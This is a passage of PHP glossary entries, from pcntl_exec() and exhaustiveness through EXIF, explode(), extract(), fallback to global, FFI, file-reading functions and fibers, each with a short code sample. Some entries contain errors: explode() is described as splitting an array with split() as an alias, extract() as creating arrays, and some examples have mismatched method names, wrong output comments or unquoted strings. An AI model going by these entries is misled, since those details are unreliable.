pcntl_exec() is typically used to replace a PHP worker process with another program after preparation work, such as setting up file descriptors or dropping privileges, has been done in the process.
<?php
// Everything below this call never runs if pcntl_exec() succeeds:
// the PHP process is replaced in place by /usr/bin/php-fpm.
pcntl_exec('/usr/bin/php-fpm', ['--nodaemonize'], ['ENV' => 'production']);
// Only reached if execve() itself failed
exit('exec failed');
?>
See Also
Related
Exhaustiveness
Exhaustiveness is the property of a pattern-matching or switch-like construct that guarantees every possible case has been handled, checked by the compiler or engine rather than left to the developer to remember. A construct is exhaustive over a type when it is impossible to reach the end of it without matching a branch.
PHP’s match is close but not exhaustive in this sense: it throws UnhandledMatchError at runtime if no arm applies, instead of refusing to compile a non-exhaustive match. That still closes an entire class of switch bugs, silent fallthrough and forgotten break, but the gap is only caught when that code path executes, not before.
True exhaustiveness needs a closed set of cases to check against, which is why it usually appears together with sum types or algebraic data types, such as enumerations with associated values: the compiler can list every case of the type and verify the match covers all of them, or point at exactly the one that is missing. Pattern matching proposals that add structural matching over types and shapes are a step toward this, but full exhaustiveness checking requires the closed, enumerable type that a sum type provides.
<?php
enum Status { case Draft; case Published; case Archived; }
// Not exhaustive: throws UnhandledMatchError if a new case is added later
$label = match ($status) {
Status::Draft => 'Draft',
Status::Published => 'Live',
// Status::Archived is missing
};
?>
See Also
Related
- Match
- Switch
- Pattern Matching
- Structural Pattern Matching
- Sum Type
- Algebraic Data Type
- UnhandledMatchError
- Enumeration (enum)
- Type System
EXIF (Exchangeable Image File Format)
EXIF is a standard for storing metadata in image files, particularly JPEG and TIFF. It embeds information such as camera settings, date and time, GPS coordinates, orientation, thumbnail images, and other technical details captured by cameras and smartphones.
PHP provides the exif extension, which offers functions to read and write EXIF data from image files. This is commonly used for:
- Retrieving camera make and model
- Reading image orientation for automatic rotation
- Extracting GPS coordinates for geotagging
- Accessing date/time the photo was taken
- Reading thumbnail images embedded in EXIF data
The EXIF data is stored in the file header and does not affect image quality. It is a subset of the TIFF format and is defined by the JEIDA standard, the Japan Electronic Industry Development Association.
Common EXIF functions include exif_read_data(), exif_imagetype(), exif_thumbnail(), and exif_process_raw_data(). Note that EXIF data may contain sensitive information such as GPS location, which should be considered for privacy.
<?php
// Reading EXIF data from an image
$exif = exif_read_data('photo.jpg', 'COMPUTED', true);
if ($exif !== false) {
echo 'Camera: ' . $exif['Make'] . ' ' . $exif['Model'] . "\n";
echo 'Date: ' . $exif['DateTimeOriginal'] . "\n";
echo 'Width: ' . $exif['COMPUTED']['Width'] . "\n";
echo 'Height: ' . $exif['COMPUTED']['Height'] . "\n";
}
// Check image type by EXIF data
$type = exif_imagetype('photo.jpg');
if ($type === IMAGETYPE_JPEG) {
echo 'This is a JPEG image';
}
?>
See Also
Related
Existence
Existence is the general concept of checking whether something is available before using it. PHP provides several dedicated functions and constructs for this, each targeting a different kind of entity.
isset() checks whether a variable exists and is not null. It is a language construct, not a function, so it does not trigger an error on undefined variables. It is commonly used to guard access to array keys or object properties before reading them.
defined() checks whether a constant has been defined, either with define() or const. It is the counterpart of isset() for constants, since constants are not variables and isset() cannot be used on them.
file_exists() checks whether a file or directory exists on the filesystem at a given path. It is used before reading, including, or operating on a file, to avoid errors on missing paths.
class_exists(), interface_exists(), and trait_exists() check whether a class, interface, or trait has been loaded or can be autoloaded. They are useful in conditional compatibility code, plugin systems, or when working with optional dependencies.
The underlying concept is the same across all these cases: verify that an entity is available in its respective scope before attempting to use it. Failing to check existence is a common source of warnings, errors, and undefined-behavior bugs.
<?php
// Variable existence
if (isset($config['timeout'])) {
$timeout = $config['timeout'];
}
// Constant existence
if (defined('APP_ENV')) {
echo APP_ENV;
}
// File existence
if (file_exists('/path/to/config.php')) {
include '/path/to/config.php';
}
// Class existence
if (class_exists(SomeOptionalLibrary::class)) {
$obj = new SomeOptionalLibrary();
}
?>
See Also
Related
Existential Type
An existential type expresses that there exists some concrete type satisfying a constraint, without naming that type at the call site. Where a universally quantified type says “for all T”, an existential type says “there exists a T”.
The distinction matters when a value is produced by a module or function that hides its concrete type behind an interface. A data structure typed as ∃T. (T, T -> String) contains a value of some unknown type T together with a function to convert it to a string. The consumer can call the conversion function but cannot inspect or name T itself: the type is sealed inside the abstraction.
In Haskell this is expressed with forall in data constructors, data ShowBox = forall a. Show a => SB a, effectively hiding the concrete type. In Scala, existential types appear as _ wildcards or through use-site variance. Rust approximates existentials with impl Trait in return position.
PHP does not support existential types. Interface types are the closest approximation: a function returning Countable hides the concrete class, but PHP interfaces cannot carry existentially quantified type parameters. Generics would be a prerequisite, as existential types are typically expressed as a bounded generic whose parameter is hidden from the caller.
<?php
// PHP approximation: returning an interface hides the concrete type,
// but PHP cannot express the type parameter that goes with it.
interface Printable {
public function print(): void;
}
// The caller knows only that something Printable was returned;
// it cannot name or inspect the concrete type.
function makePrintable(mixed $data): Printable {
return new class($data) implements Printable {
public function __construct(private readonly mixed $inner) {}
public function print(): void { var_dump($this->inner); }
};
}
?>
See Also
Related
Exit
exit() and die() terminate the current execution.
exit() is a language construct, and since PHP 8.4, it is also a function too.
After the end of execution, the registered shutdown functions and destructors are executed. finally blocks are not executed.
They do not have access to the output stream php://output anymore, so echo doesn’t work; but it may still write in files or database, if the connection is still open.
exit() uses its argument to return its execution status. It is transmitted to the original caller of the application. When the argument is a string, it is displayed before ending the process.
<?php
$total = 0;
for($i = 0; $i < 10; ++$i) {
$total += $i;
if ($i == 5) {
exit($total);
}
}
?>
See Also
Related
- Language Construct
- Shutdown Function
- Destructor
- Finally
- Propagation
- Return Value
- set_error_handler()
- Testable
Explanation
In the context of static analysis and code review, an explanation is a natural-language description of why a piece of code is flagged, what rule it violates, and how to fix it.
Good explanations bridge the gap between a raw finding, with context data such as file, line, severity,… and actionable understanding. They include: the name and rationale of the rule, a concrete example of the problematic pattern, the recommended alternative, and links to documentation or further reading.
In a broader software context, explanation also refers to the practice of making code behavior transparent and understandable: through comments, documentation, naming conventions, and readable structure. Self-explanatory code minimizes the need for inline comments by making intent visible in the code itself.
AI-assisted code explanation is an emerging use case where a language model summarises what a function or class does, identifies its contract, and describes its edge cases.
See Also
Related
Explicit Boolean Comparison
The Explicit Boolean Comparison is the syntax convention that includes a literal value when using a boolean as a condition.
Explicit boolean comparison may be redundant, when the compared value is already a boolean. PHP also does an implicit cast to boolean before using variables in conditions.
On the other hand, type juggling may yield unexpected results, and lead to bugs.
<?php
if ($var === true) {}
?>
See Also
Related
Explicit
A feature is explicit when its presence is represented in the source code.
For example, a default value for an argument is not explicit: it may be omitted, and still be used. It is called implicit.
If that same value is written in the calling code, even if the passed value is the same as the default value, it is now explicit, and may be read in the calling code.
<?php
function trumpet($a = 1) {}
// implicit call
trumpet();
// explicit calls
trumpet(1);
trumpet(3);
?>
See Also
Related
explode()
The explode() function is used to break an array into a list of elements, based on a separator.
explode() uses the first argument as the separator, and the second as the string.
explode() has an alias called split().
explode() creates an empty string when the separator is at the beginning or the end of the strings. It also build empty strings when the separator are next to each other.
The separator has to be a static string. For dynamic separators, there is the preg_split() function.
explode() has a third parameter to limit the number of read elements. It is useful to avoid spending too much resources, such as time or memory, working on the string, when a maximum number of expected elements is known, and the string is not.
<?php
print_r(explode('&', '&a=3&b') );
// ['', 'a=3', 'b']
?>
See Also
Related
Exponent
Exponent, or exponentiation, is the mathematical operation to raise a number to the power of another number.
There are two possibilities to use this operation: the ** operator, and the pow() native function.
<?php
echo pow(-3, 2); // displays 9
echo 2 ** 3; // displays 8
?>
See Also
Related
Exponential
The exponential is a mathematical function. It satisfies the expressions: exp($a + $b) = exp($a) * exp($b), and exp(0) === 1.
There is a special expm1() function, which calculates the exponential value of $x - 1. When $x is close to 0, this function provides more significant digits than using the expression exp($x) - 1.
Exponential calculations may also be led with the constant M_E and the operator ** or the function pow(), although there is a slight difference.
<?php
$e = exp(1); // also known as the contant M_E
var_dump(exp(2) === M_E ** 2); // false
var_dump(exp(2) - M_E ** 2); // float(8.881784197001252E-16)
?>
See Also
Related
expose_php
The expose_php directive displays the usage of PHP and its version in the headers of the webserver.
It is considered a security leak to leave this configuration on, as it gives potential attackers information on the available technologies, and potential vulnerabilities. It is recommended to leave it off.
expose_php has no impact on the code itself.
See Also
Related
Expression
In PHP, an expression is a combination of one or more variables, operators, constants, and functions that evaluates to a single value. Expressions can be simple or complex, depending on the operations involved.
<?php
// one generic expression
$a = A + cos($b);
?>
See Also
Related
Expressive Interface
An expressive interface, refers to an API design pattern that makes code more readable, intuitive, and natural to write. It emphasizes clarity and ease of use, often resembling natural language.
The goal is to make your code self-documenting and reduce the cognitive load on developers reading or writing it.
An expressive interface is not related to an interface: it may be implemented without them.
The notion of expressive interface is similar to the fluent interface.
<?php
class script {
function hello() {
print 'Hello ';
return $this;
}
function word() {
print 'word.';
return $this;
}
}
$script = new Script();
$script->hello()->world();
?>
See Also
Related
Related packages
extends
extends is an operator of the class inheritance. It indicates that a class is built from another one, or an interface is built from another interface. As such, the properties, constants and methods of the parent class or interface are available to the newly created class, unless when they are marked with private visibility.
extends is optional.
extends is unique with a class: it is not possible to extend several classes at the same time.
extends may be multiple with interfaces.
extends has a different mechanism than implements: implements provide method signature but no implementation; extends provides both.
<?php
class Elephpant {
function trumpet() { echo 'Elephpant'; }
}
class Calf extends Elephpant { }
// Both methods are possible
(new Elephpant)->trumpet();
(new Calf)->trumpet();
?>
See Also
Related
Extension Method
An extension method, as found in C#, Kotlin, and Swift, lets a developer add a method to a type without modifying that type’s source and without subclassing it: fun String.shout() = this.uppercase() + '!' adds a shout() method callable on every String, including strings from the standard library. The compiler resolves the call statically, based on the static type of the receiver, and injects it as if it were a real member.
Extension methods are typically used to attach domain-specific behavior to library or built-in types, or to gradually retrofit an interface’s default methods onto existing implementations.
PHP has no extension method mechanism. Methods can only be added to a class by editing its source, extending it, or mixing in a trait, all of which require access to the class declaration or the willingness to create a subclass; a built-in type such as string or a final third-party class cannot receive new methods at all. The common workaround is a free function or a static helper class, called as Str::shout($value) instead of $value->shout().
<?php
// PHP has no way to add shout() to string itself.
final class Str {
public static function shout(string $s): string {
return strtoupper($s) . '!';
}
}
echo Str::shout('hello'); // HELLO!, not 'hello'->shout()
?>
See Also
Related
Extensions
Extensions are a custom way to add features to software. Extension is a very generic concept, with broad usage.
- PHP extensions
- Extensions, as a concept.
See Also
Related
- Directives
- Library Loading
- Module
- PHP Extension C Library (PECL)
- PHP Installer For Extensions (PIE)
- Core
- Dynamic Loading
- Embed
- PHP Engine
- Foreign Function Interface (FFI)
- Readline
- filter
- gettext Extension
- mysqli
extract()
extract() is a native PHP function, which creates arrays from an array containing variables and their values.
extract() has option to handle situations where the variables are already existing, and how those conflicts should be handled: by default, it overwrites the local variables.
Options are: EXTR_OVERWRITE, EXTR_SKIP, EXTR_PREFIX_SAME, EXTR_PREFIX_ALL, EXTR_PREFIX_INVALID, EXTR_IF_EXISTS, EXTR_PREFIX_IF_EXISTS, EXTR_REFS.
This function is the opposite of compact().
<?php
$a = 0; // $a is getting overwritten
$array = extract(['a' => 1, 'b' => 2]);
echo $a + $b; // 2
?>
See Also
Related
Function-as-a-Service (FaaS)
Function-as-a-Service, or FaaS, is a serverless execution model where individual functions are deployed, invoked on demand, and billed per execution. The cloud provider manages all infrastructure: provisioning, scaling, and teardown.
Each function is stateless, short-lived, and triggered by an event, such as an HTTP request, a queue message, a scheduled cron, or an S3 upload. The provider scales instances automatically from zero to thousands.
PHP runs on FaaS platforms through runtime layers. The most common approach is Bref, a PHP Lambda layer for AWS Lambda that handles bootstrapping the PHP runtime, forwarding events, and returning responses. Similar support exists for Google Cloud Functions and Azure Functions.
The main drawback of FaaS for PHP is cold start latency: the first invocation after an idle period must initialise the container and PHP runtime before executing. Subsequent invocations reuse the warm container and are fast.
<?php
// AWS Lambda handler via Bref (https://bref.sh)
// File: index.php
use Bref\Context\Context;
return function (array $event, Context $context): string {
$name = $event['name'] ?? 'world';
return 'Hello, ' . $name . '!';
};
// template.yaml (SAM):
// Resources:
// HelloFunction:
// Type: AWS::Serverless::Function
// Properties:
// FunctionName: hello
// Runtime: provided.al2
// Layers:
// - !Sub arn:aws:lambda::534081306603:layer:php-83:x
// Handler: index.php
?>
Related
Related packages
Facade
A facade provides a simplified interface to a complex library. The facade hides the complexity, and iron out some of the dirty details away from the user.
Facades tends to ease the initial understanding of the library. Later, it limits expert usage and introduce unexpected behavior in the code.
The Laravel framework is known for its intensive usage of facades.
See Also
Related
Factory
A factory is a design pattern used to create objects without exposing the instantiation logic, i.e., the new keyword, to the client code. Instead of the client knowing exactly which class to instantiate, it asks the factory to produce the object for it.
<?php
// LoggerFactory.php
class LoggerFactory
{
// Logger is an interface
public static function createLogger(string $type): Logger
{
switch (strtolower($type)) {
case 'file':
return new FileLogger();
case 'database':
case 'db':
return new DatabaseLogger();
default:
throw new InvalidArgumentException("Unknown logger type:" . $type);
}
}
}
?>
See Also
Related
Faker
A faker is a tool that generates fake data, for testing purposes.
Using a faker happens in different situations:
- Seeding Databases: populating a database with sample users, products, or orders to test how your application performs under realistic conditions
- Testing: creating dummy data for unit and integration tests to ensure the code works correctly in more realistic circumstances
- Prototyping: quickly generating placeholder content, like names and addresses, for a new feature demonstration
- Anonymizing Data: safely replacing sensitive production data with fake but realistic-looking data for use in development or debugging.
See Also
- Simplifying Test Data Generation with Faker
- A new PHP Faker: minimalist, extensible, and free of frills
Related
Related packages
Fallback Function
A fallback function is a function that replaces a function if its definition is not available in the current namespace.
PHP has implemented a mechanism so that functions that are undefined in the current namespace, have a fallback in the global space. This is important for backward compatibility, and the native PHP versions.
<?php
namespace A {
// A\strtolower doesn't exist,
// it falls back on \strtolower(), in the global space
echo strtolower('A');
}
?>
See Also
Related
Fallback To Global
The fallback to global mechanism is a PHP feature, which search for functions and global constants, first in the current namespace, then in the global namespace, before failing.
This feature was introduced as a transition mechanism, when namespaces were introduced. Adding a namespace to a file does not make all the function and constants invalid, but rather still working. This does not apply to classes, interfaces, traits and enumeration, which have to be in the current namespace, or imported with the use expression.
The fallback mechanism applies to global constants and functions.
This mechanism is usually transparent to users. It introduces the possibility of a man in the middle attack: adding a local definition to a global function or constant will overwrite this function.
There is a penalty cost to use the fallback mechanism, as PHP has to search for the function locally, then globally, before finding it. Using the fully qualified name, or an import expression use speeds up the process.
<?php
namespace {
function forage() { echo __FUNCTION__;}
function bathe() { echo __FUNCTION__;}
}
namespace A {
use function bathe as graze;
function trumpet() { echo __FUNCTION__;}
function bathe() { echo __FUNCTION__;}
trumpet(); // A\trumpet;
forage(); // forage;
bathe(); // A\bathe;
\bathe(); // bathe
graze(); // A\bathe;
// this replaces the native PHP strtolower with another function,
// in the A namespace
function strtolower($string) { return \strtoupper($string);}
echo strtolower('aB'); // AB
echo \strtolower('aB'); // ab
}
?>
See Also
Related
Fallback
A fallback refers to a backup plan or default behavior that is executed when the primary operation fails, is unavailable, or doesn’t meet certain conditions. It ensures that the system or application can function, either by default, or if something unexpected happens.
- Fallback to global is the mechanism that uses PHP native function, in the global namespace, when they are not found in the local namespace
- Fallback constant to string was a mechanism to use the literal constant name instead of its value, when the constant was not defined. It is now removed
- A default value is a fallback mechanism.
<?php
namespace A;
// function A\strtolower does not exists, so it uses \strtolower
echo strtolower('ABC');
?>
See Also
Related
Switch Fallthrough
A fallthrough is the absence of break, or equivalent, at the end of a switch case. That way, the execution continues on the next case.
While this is an intended feature, and is useful to reduce code, it tends to surprise programmers, who expect the cases to always end.
<?php
switch ($a) {
case 1:
$a = 2 * $a;
// fallthrough here : the execution continues
case 2:
$a = $a + 1;
break;
}
?>
See Also
Related
False
false has two usages, as a PHP keyword. It is the opposite of true, as a boolean value and a special type for functions that may return a boolean, but not true.
<?php
function trumpet($a) : false|Elephpant {
if ($a == 1) {
return false;
} else {
return new Elephpant();
}
}
?>
See Also
Related
- Boolean
- Type System
- True
- Falsy
- Truthy
- Underscore
- zero
- Logical Operators
- file_get_contents()
- PHP Natives
- one
- Short Ternary Operator
- Autovivification
- Standalone Types
Falsy
A falsy value is a value that evaluates to false, when cast to a boolean. It includes false, obviously, but also other values such as 0, '', the empty string, or [], the empty array.
The contrary of falsy is truthy.
There are some falsy values which are difficult to guess, as is illustrated below.
<?php
var_dump((bool) 0); // false
var_dump((bool) ''); // false
var_dump((bool) '0'); // false
var_dump((bool) '00'); // true
var_dump((bool) []); // false
var_dump((bool) [null]); // true
var_dump((bool) null); // false
?>
See Also
Related
Fast Artificial Neural Network (FANN)
FANN, for Fast Artificial Neural Network, is a PIE extension that wraps the FANN C library, a lightweight library for creating, training, and running multilayer feedforward artificial neural networks.
The extension exposes functions to build a network with a chosen number of layers and neurons, train it against a data set using algorithms such as backpropagation, and then run inference on new inputs. Networks can be saved to and loaded from disk, so a model can be trained once and reused across requests without retraining.
FANN predates the current generation of PHP machine-learning libraries, and its API is comparatively low-level: it does not provide dataset preprocessing, model selection, or GPU acceleration. It remains useful for small, fast, embeddable networks where pulling in a heavier stack such as TensorFlow via a bridge is unnecessary.
<?php
// Create a network: 2 inputs, one hidden layer of 3 neurons, 1 output.
$ann = fann_create_standard(3, 2, 3, 1);
fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);
// Train on a data file of input/output pairs (FANN training file format).
fann_train_on_file($ann, 'xor.data', 5000, 500, 0.0001);
$output = fann_run($ann, [1, -1]);
print_r($output);
fann_destroy($ann);
?>
See Also
Related
FastCGI
FastCGI stands for Fast Common Gateway Interface. It is a protocol, built on top of CGI. Unlike CGI, FastCGI has persistent processes that can handle more than one request before being destroyed. It also implements multiplexing.
PHP may be built as a fast CGI, in the php-fpm daemon.
See Also
Related
Fat Controller
A fat controller, also called a thick controller, is an anti-pattern in MVC architecture where the controller class accumulates too much business logic, data transformation, and persistence concerns. Instead of orchestrating, it does the actual work.
Fat controllers are hard to test, as they require a full HTTP stack, hard to reuse, and grow without bound as features are added.
The remedy is to extract business logic into services, domain objects, or command/query handlers, leaving the controller with a single responsibility: receive the request, call one service, return the response.
<?php
// Fat controller: antipattern
class OrderController {
public function store(Request $request): Response {
$data = $request->all();
if (empty($data['email'])) {
throw new \InvalidArgumentException('Email required');
}
$user = User::where('email', $data['email'])->first();
if (!$user) {
$user = User::create(['email' => $data['email']]);
}
$order = new Order();
$order->user_id = $user->id;
$order->total = array_sum(array_column($data['items'], 'price'));
$order->save();
Mail::to($user)->send(new OrderConfirmation($order));
return response()->json($order, 201);
}
}
// Thin controller: preferred
class OrderController {
public function store(Request $request, OrderService $service): Response {
$order = $service->create($request->validated());
return response()->json($order, 201);
}
}
?>
See Also
Related
- Controller
- Model - View - Controller (MVC)
- Fat
- Thin
- Single Responsability Principle (SRP)
- Service
- Anti-Pattern
- Business Logic
Fat
Fat is an informal qualifier applied to a class, most commonly a controller or a model, that has grown too large in terms of responsibilities, methods, and lines of code.
A fat class violates the Single Responsibility Principle. It is harder to test, understand, and maintain. Common symptoms include: many unrelated methods, large amounts of private helper code, direct database access mixed with business logic, and deep dependencies on infrastructure.
The opposite is a thin class, which delegates most work to collaborators. The right balance depends on architecture: an MVC application typically favours thin controllers and rich domain models or services.
Related terms: fat controller, fat model, god class, big ball of mud.
See Also
Related
- Fat Controller
- Thin
- Slim
- Single Responsability Principle (SRP)
- God Object
- Refactoring
- Business Logic
Fatal Error
Fatal error is a type of PHP error, which ends the execution of the application. Fatal errors may be caught before ending the execution with a catch clause on Error.
<?php
try {
1 + [];
} catch (Error $e) {
print A fatal error was caught.;
}
?>
See Also
Related
- Catchable Fatal Error
- Deprecation
- Error
- Error Handling
- Exception
- Notice
- Try-catch
- Warning
- Lint, Won’t Execute
- Method Compatibility
Fault Isolation
Fault isolation, also called failure isolation, is the design property that limits the impact, or blast radius, of a failure to the component or service where it originates, preventing it from cascading to other parts of the system.
In a tightly coupled system , such as monolith, distributed monolith, a failure in one subsystem can bring down the entire application. Fault isolation ensures that the failure of a payment service, for example, does not prevent users from browsing or adding items to their cart.
Common patterns that implement fault isolation: the circuit breaker, that stops sending requests to a failing service, the bulkhead which limits the resources a single consumer can use, preventing it from exhausting shared pools, and timeouts, that prevents a slow downstream from blocking threads indefinitely.
Microservices architecture promotes fault isolation by deploying each service independently. However, it requires explicit design: synchronous call chains without timeouts or circuit breakers produce the opposite: a single slow service that blocks all callers.
Fault isolation is implemented via timeout configuration on HTTP clients, circuit breaker libraries, and queue-based decoupling of non-critical side-effects.
<?php
// Circuit breaker with a library (e.g., Ganesha or php-circuit-breaker)
$circuitBreaker = Ackintosh\Ganesha\Builder::withRateStrategy()
->timeWindow(30)
->failureRateThreshold(50)
->build();
if ($circuitBreaker->isAvailable('payment-service')) {
try {
$result = $paymentClient->charge($order);
$circuitBreaker->success('payment-service');
} catch (Exception $e) {
$circuitBreaker->failure('payment-service');
// Degrade gracefully: queue for retry, show user a message
$retryQueue->push(new RetryPayment($order->id));
}
} else {
// Circuit is open: skip the call entirely, don't block the user
$retryQueue->push(new RetryPayment($order->id));
}
?>
See Also
Related
- Circuit Breaker
- Resilience
- Microservice
- Distributed Monolith
- Distributed Systems
- Coupling
- Cascading Failure
- Blast Radius
- Bulkhead
- Timeout
- Connection Pool
Related packages
fclose()
fclose() is a PHP native function that closes an open file pointer, previously created with fopen(), fsockopen(), or similar functions. It returns true on success, false on failure.
Closing a stream releases the underlying resource, file descriptor, socket, back to the operating system. Forgetting to call fclose() leads to a resource leak: on long-running processes, such as CLI scripts, workers or daemons, this can exhaust the number of file descriptors available to the process.
In most short-lived web requests, PHP automatically closes any remaining open handles at the end of the script, but explicit fclose() calls remain good practice, and are mandatory as soon as many files are opened in a loop, or the process runs indefinitely.
<?php
$fp = fopen('data.txt', 'r');
if ($fp) {
$content = fread($fp, filesize('data.txt'));
fclose($fp);
echo $content;
}
?>
See Also
Related
Feature Detection
Feature detection is the practice of testing, at runtime, whether a specific capability is actually available before using it, instead of inferring availability indirectly from something like a version number or a User-Agent string. The check answers ‘can I do this?’ directly, which stays correct even when the underlying assumption behind a version-based guess breaks, such as a backported feature, a polyfill, or a client that lies about what it is.
Feature detection commonly means checking function_exists() before calling an optional function, extension_loaded() before relying on an extension such as intl or gd, class_exists() or interface_exists() before referencing an optional dependency, or defined() before using a constant that may not exist on every PHP version or build. It is what makes a polyfill possible in the first place: the polyfill itself is only defined once feature detection has established that the native implementation is missing.
The browser equivalent is testing for a JavaScript API’s existence directly, such as if ('fetch' in window), rather than parsing the User-Agent string to guess which browser and version is making the request. User-Agent sniffing is brittle because the string is freely spoofable and does not necessarily reflect what the client actually supports, whereas feature detection tests the real thing and degrades gracefully, typically by falling back to a polyfill or an alternate code path, when the feature turns out to be missing.
<?php
// feature detection: function
if (!function_exists('str_contains')) {
function str_contains(string $haystack, string $needle): bool {
return strpos($haystack, $needle) !== false;
}
}
// feature detection: extension
if (extension_loaded('intl')) {
$fmt = new NumberFormatter('fr_FR', NumberFormatter::CURRENCY);
} else {
// fallback formatting without intl
}
// feature detection: optional class/dependency
if (class_exists(\Redis::class)) {
$cache = new RedisCache();
} else {
$cache = new ArrayCache();
}
?>
See Also
Related
Related packages
Feature Flag
A feature flag, also known as a feature toggle or feature switch, is a software development technique used to enable or disable certain features or functionalities in an application or system. Instead of deploying new features directly to all users, developers can use feature flags to control the visibility and activation of these features.
Feature flags are typically implemented as conditional statements in the codebase, allowing developers to selectively enable or disable features based on various criteria such as user roles, user segments, environment conditions, or A/B testing groups. This allows for gradual feature rollouts, experimentation, and controlled releases, which can help mitigate risks associated with introducing new features or changes to a system.
<?php
// feature flag implemented via PHP directives
if (ini_get('date_is_visible')) {
echo date('r');
}
?>
See Also
Related
Related packages
Feature Testing
Feature testing validates that multiple components of a system work together correctly by simulating real user workflows, exercising the application through its public interface, via HTTP requests, console commands, or a browser, rather than calling internal classes directly.
In the test pyramid, feature tests sit above unit tests and below full end-to-end tests: they typically boot a real application kernel, hit routes or commands, and assert on the resulting response, database state, or emitted events, without necessarily driving a real browser.
PHP frameworks provide dedicated tooling for this style of testing: Laravel ships feature tests that extend Illuminate\Foundation\Testing\TestCase and can call routes via $this->get() or $this->post(); Symfony offers WebTestCase and Panther for browser-driven scenarios; Behat and Codeception let teams describe scenarios in Gherkin, with Given/When/Then, and run them against the real stack.
See Also
Related
Feature
A software feature is a specific functionality or capability that is designed and implemented within a software application to provide a specific benefit or serve a particular purpose. Features are the building blocks that make up the overall functionality of a software product, and they are what enable users to perform tasks, achieve goals, or solve problems using the software.
Software features can vary widely depending on the type of application and its intended use. For example, in a word processing software, features might include the ability to format text, insert images, create tables, and perform spell-checks. In a video editing software, features might include cutting, trimming, adding effects, and exporting videos in different formats. In a messaging app, features might include sending text messages, multimedia messages, and voice calls.
Developers prioritize and implement features based on user needs, market demand, and the overall vision for the software. As software evolves, new features may be added to enhance its functionality or to keep up with advancements in technology and user expectations. Additionally, user feedback and requests often play a role in determining which features get added or improved in future updates of the software.
See Also
Related
feof()
feof() checks whether the end of a file has been reached for a given file pointer, returning true once no more data can be read from it.
The function is meant to be tested after a read attempt has already failed, not before: feof() only becomes true once fread() or fgets() has tried to read past the last byte and come back empty. Checking it before the first read, or relying on it to stop a loop that reads fixed-size lines, can leave the last chunk of data unprocessed or duplicate it depending on the reading function used.
feof() returns true for a stream in an error state as well as one that reached its end, since a failed fopen() produces a resource that behaves as if no data will ever come, so callers should always confirm that fopen() succeeded before entering a read loop.
<?php
$handle = fopen('data.txt', 'rb');
while (!feof($handle)) {
$chunk = fread($handle, 8192);
// process $chunk
}
fclose($handle);
?>
Related
Foreign Function Interface (FFI)
Foreign Function Interface, also known as FFI allows loading external libraries, such as .DLL or .so, and access directly their function without writing a PHP extension.
<?php
// Extracted from the PHP manual
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // this is a regular C declaration
"libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", world);
?>
See Also
- Blazingly Fast Markdown Parsing in PHP using FFI and Rust
- PHPun with FFI: Getting Rust-ic
- BUILD GO CODE AND USE IT IN PHP CODEBASE
- How to Use PHP FFI in Programming
- PHP FFI for Calling C Libraries
Related
fgetc()
fgetc() is a PHP native function that reads a single character from an open file pointer. It returns a string containing one byte, or false when the end of the file, EOF, is reached.
Key characteristics:
- Reads exactly one byte per call, making it the slowest way to read a file, but the finest-grained
- Returns
falseonEOF, which must be checked with===since"0"or an empty string are otherwise valid, falsy-looking results - Binary-safe, like the other stream functions
fgetc() is typically used to build custom character-by-character parsers, for instance for CSV-like formats with unusual quoting rules, or for reading protocols where the message boundary is not a newline. For line-based reading, fgets() is far more efficient; for reading arbitrary chunks, fread() is preferred.
<?php
$fp = fopen('data.txt', 'r');
if ($fp) {
while (($char = fgetc($fp)) !== false) {
echo $char;
}
fclose($fp);
}
?>
See Also
Related
fgets()
fgets() is a PHP native function that reads a single line from an open file pointer, up to and including the next newline character, or until an optional length limit of bytes is reached. It returns the line as a string, or false when the end of file, EOF, is reached.
Key characteristics:
- Stops at the first
\nfound, or afterlength - 1bytes if a length is provided - The trailing newline is kept in the returned string, and often needs to be trimmed with
rtrim()ortrim() - Binary-safe
fgets() is the standard way to process a text file line by line, for instance log files or CSV files, without loading the whole file into memory, unlike file() or file_get_contents(). It is commonly combined with feof() to detect the end of the stream.
<?php
$fp = fopen('access.log', 'r');
if ($fp) {
while (($line = fgets($fp)) !== false) {
echo trim($line) . PHP_EOL;
}
fclose($fp);
}
?>
See Also
Related
Fibers
Fibers are a low-level mechanism for lightweight concurrency, they allow to pause and resume blocks of code at specific points without blocking the rest of the application.
They were introduced in version 8.1 and provide cooperative multitasking, as opposed to preemptive multitasking like threads. This means the application controls exactly where execution yields and resumes.
<?php
$fiber = new Fiber(function (): void {
$value = Fiber::suspend('fiber');
echo "Value used to resume fiber:", $value, PHP_EOL;
});
$value = $fiber->start();
echo "Value from fiber suspending:", $value, PHP_EOL;
$fiber->resume('test');
?>
See Also
- PHP Fibers: A practical example
- Async PHP is Here: A Practical Guide to Fibers
- Fibers in PHP - how to make it easier to implement asynchronicity in your project
- Unleashing the Power of PHP Fibers: Boost Web Development with Efficient Coroutines
- PHP Fibers in Production: 4 Real Cases Where They Beat curl_multi and Queues
- PHP Fibers: simplifying async code and speeding up development
Related
- Async
- Asynchronous
- Multithreading
- Blocking Wait
- Cancellation
- Future
- Promise
- Actor Model
- Channel
- Continuation
- Fire-and-forget
- Green Thread
- Asynchronous Markup Protocol (AMP)
- PHP Engine
- OpenSwoole
- ReactPHP
- Swoole
Related packages
First In, First Out (FIFO)
First In, First Out is the principle of management of a queue. The first added element is the first one to be removed. This is exactly how a queue behaves: it is also the way a line at the cashier behaves.
The other management is LIFO: last in, first out.
See Also
Related
File Extension
File extensions are the suffixes at the end of file names that indicate the type or format of the file. They typically come after a period . in the file name.
File extensions help PHP recognize the file type and determine which program should be used to open it. They should not be used as a security feature, but rather as a hint of the content.
<?php
$files = glob("directory/*.ini");
foreach($files as $file) {
// displays the file name, without the file extension
print basename($file, '.ini').PHP_EOL;
}
?>
See Also
Related
File Mode
The file mode is the configuration of the pointer when accessing to the file.
In the example above, w+ indicates that the file is open for writing and reading, and place the pointer at the beginning of the file.
There are several valid modes: ‘r’, ‘r+’, ‘w’, ‘w+’, ‘a’, ‘a+’, ‘x’, ‘x+’, ‘c’, ‘c+’, ‘e’. Check docs for details about them.
<?php
$fp = fopen($file, 'w+');
?>
See Also
Related
File
A file is a named collection of data or information that is stored and organized on a computer’s storage system. In computing, files are used to store various types of data, such as text, images, audio, video, programs, and more. Files can be created, accessed, modified, and deleted by computer programs and users.
